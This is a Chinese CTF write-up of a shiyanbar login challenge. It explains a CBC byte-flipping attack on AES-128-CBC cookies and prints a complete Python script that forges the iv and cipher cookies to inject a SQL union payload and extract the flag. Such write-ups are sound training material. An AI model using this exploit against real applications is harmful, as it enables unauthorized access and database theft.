ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

实验吧简单的登录题

2019-07-15 19:02:39  阅读:196  来源: 互联网

标签:登录 16 plaintext badText len iv cipher 实验 简单


 

先尝试1’,爆出

 

 

1”,爆出

 

 

再使用抓包

 

发现了一个test.php界面,进去看看

 

 

出现一堆代码,查看源码

 

 

看见网页源码

出现aes-128-cbc加密,百度一下发现是反转字节攻击

然后看看dalao们脚本,组成我们的payload-exp

写一个py文件

 

内容为

import requests,base64,urllib,math

 

def work():

url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'

payload = '0 union select 1,value,3 from you_want limit 1#'

#payload = 'x'*20

 

plaintext = 'a:1:{s:2:"id";s:%d:"%s";}'%(len(payload),payload)

badText = 'x'*16

if len(plaintext)%16:

if len(plaintext)%16>3:

badText = 'x'*(len(plaintext)%16-3)+'";}'

elif len(plaintext)%16 == 3:

badText = '";}'

elif len(plaintext)%16 == 1:

badText = '}'

else:

badText = ';}'

r = requests.post(url,data={'id':'x'*len(payload)})

sc = r.headers['Set-Cookie'].split(',')

 

iv = 'a'*16

cipher = sc[1][sc[1].find('=')+1:]

blockNum = len(cipher)/16

cipher = base64.b64decode(urllib.unquote(cipher))

blockNum = len(cipher)/16

cipherBlock = [iv]

cipherBlock += [cipher[16*i:16*(i+1)] for i in xrange(blockNum)]

plainBlock = [plaintext[16*i:16*(i+1)] for i in xrange(blockNum)]

 

for i in xrange(blockNum-1,-1,-1):

s1 = plainBlock[i]

s2 = cipherBlock[i]

tmp = ''

 

for j in xrange(len(s1)):

tmp += chr(ord(s1[j])^ord(badText[j])^ord(s2[j]))

 

cipherBlock[i]=tmp+s2[len(tmp):]

if i == 0:

iv = cipherBlock[0]

 

iv_new = urllib.quote(base64.b64encode(iv))

cipher_new = urllib.quote(base64.b64encode(''.join(cipherBlock[1:])))

headers={'Cookie':'iv={};cipher={}'.format(iv_new,cipher_new)}

 

r = requests.get(url,headers=headers)

 

if i != 0:

tmp = r.text[r.text.find('decode')+8:r.text.rfind("')")]

badText = base64.b64decode(tmp)[16*(i-1):16*i]

else:

print r.text.encode('gb18030')

 

work()

然后cmd里运行一下得到flag

 

标签:登录,16,plaintext,badText,len,iv,cipher,实验,简单
来源: https://www.cnblogs.com/wosun/p/11190719.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有